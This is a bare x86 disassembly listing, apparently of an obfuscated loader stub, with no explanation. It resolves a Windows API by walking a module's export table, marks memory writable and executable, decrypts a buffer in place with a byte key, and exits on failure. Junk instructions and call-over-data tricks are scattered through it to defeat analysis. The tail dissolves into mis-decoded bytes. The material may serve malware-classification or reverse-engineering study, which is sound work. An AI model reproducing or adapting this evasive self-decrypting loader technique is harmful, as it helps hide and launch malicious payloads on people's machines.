call 0x4891e7
add byte [ecx], bh
inc esp
cmp eax, dword [esi + 0x44]
xor eax, 0x4c4834e
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x48921b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x489243
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x489275
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x48950c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x48929a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4892f4
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x489500
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x489364
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x489416
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x489416
push esi
add esi, 0xecc7
pop esi
push eax
or eax, 0xda94
xor eax, 0x171d
pop eax
push ebx
and ebx, 0x106b6
pop ebx
push ebx
xor ebx, 0xd768
and ebx, 0x11a18
xor ebx, 0x2d92
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x489408
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x48940f
jmp 0x489355
jmp 0x489416
push eax
push esi
add esp, 4
and eax, 0x78b5
pop eax
push eax
push eax
add esp, 4
and eax, 0xeed2
sub eax, 0x13d2f
pop eax
push eax
add eax, 0xcaed
or eax, 0x11bcb
xor eax, 0x13f72
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x489475
mov dword [ebp - 0xc6c], 0
jmp 0x4894e4
push eax
or eax, 0x16518
jmp 0x489482
and eax, 0x957
pop eax
push ebx
add ebx, 0x2d66
and ebx, 0x16592
pop ebx
push edx
and edx, 0x8136
pop edx
push edi
and edi, 0x13cde
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x4894da
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x4894e4
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4894fb
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
jmp 0x4892e5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ebx
xor ebx, 0xb866
and ebx, 0xdc4e
pop ebx
push eax
and eax, 0x2032
pop eax
push esi
add esi, 0x4c3c
pop esi
push edx
and edx, 0x12d65
or edx, 0x16870
add edx, 0x6264
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4895bd
push ebx
push edi
add esp, 4
or ebx, 0xd68a
add ebx, 0xcbda
pop ebx
push ecx
xor ecx, 0xaf76
add ecx, 0xfebb
jmp 0x48959c
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x17d09
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4895da
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x489636
push edx
push esi
add esp, 4
or edx, 0xf225
or edx, 0xc167
or edx, 0x197
pop edx
push esi
push ecx
add esp, 4
jmp 0x48960d
sub esi, 0x2813
xor esi, 0x95e3
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4895cb
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4896ae
push eax
push esi
add esp, 4
or eax, 0x2ced
call 0x489682
add byte [edx], dh
dec esi
inc ebp
dec edx
cmp dword [eax + 0x3d], edx
dec eax
inc eax
add esp, 4
and eax, 0xed79
pop eax
push edx
or edx, 0x1272e
xor edx, 0x1761d
pop edx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
call 0x4896be
add byte [edi + 0x3f], al
dec edi
xor cl, byte [edx + 0x48]
push eax
dec ecx
add esp, 4
pop ecx
push edx
push esi
add esp, 4
sub edx, 0xae92
sub edx, 0x7dd5
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x261d
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff04ff
pop ecx
pop edx
push ebp
xchg eax, ecx
or byte [ebp + 0x4a28aca], al
add al, 0xef
or dword [ebx + 0x51], edx
cmp byte [edi + 0x3f], al
bound edx, qword [esi + 0x57]
xchg eax, ecx
or byte [ebp + 0x4ec3be6], al
add al, 0xec
invalid